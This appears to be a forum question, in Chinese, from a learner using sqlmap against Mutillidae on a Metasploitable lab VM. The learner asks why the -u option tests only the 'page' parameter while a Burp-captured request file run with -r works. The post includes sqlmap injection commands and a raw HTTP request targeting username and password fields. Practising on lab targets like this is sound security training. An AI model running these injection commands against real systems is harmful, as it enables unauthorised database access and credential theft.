注意:在 METASPLOITABLE 的 Mutillidae 上进行了尝试
我尝试使用 SQLmap 注入 mutilidae 的“用户信息”页面。
我已经尝试过手动注入,易受攻击的参数是 USERNAME 和 PASSWORD。
当我在 SQLmap 上使用 -u 命令时,只有参数 PAGE 被 SQLmap 视为 GET 参数,这反过来(如预期的那样)导致它说 url 不可注入。
后来使用 Burp 代理并通过 -r request 命令运行 SQLmap,对于完全相同的 URL,一切正常。
我对这两个命令如何工作以及 -r 命令中提供的内容感到困惑,这使得成功注入不在我提供的 -u URL 中的内容成为可能。
我什么时候应该使用哪个命令?
使用 -u 命令检查漏洞
sqlmap -u http://xxx.xxx.2.9/mutillidae/index.php?page=user-info.php&username=a&password=b&user-info-php-submit-button=View+Account+Details
使用 -r 命令
sqlmap -r /root/Desktop/user.request
user.request 包含以下内容:
GET /mutillidae/index.php?page=user-info.php&username=a&password=b&user-info-php-submit-button=View+Account+Details HTTP/1.1
Host: xxx.xxx.2.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.2.9/mutillidae/index.php?page=user-info.php&username=a&password=b&user-info-php-submit-button=View+Account+Details
Cookie: PHPSESSID=cb55bd05e9618af173600ba757e996c1
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 31 May 2018 06:13:15 GMT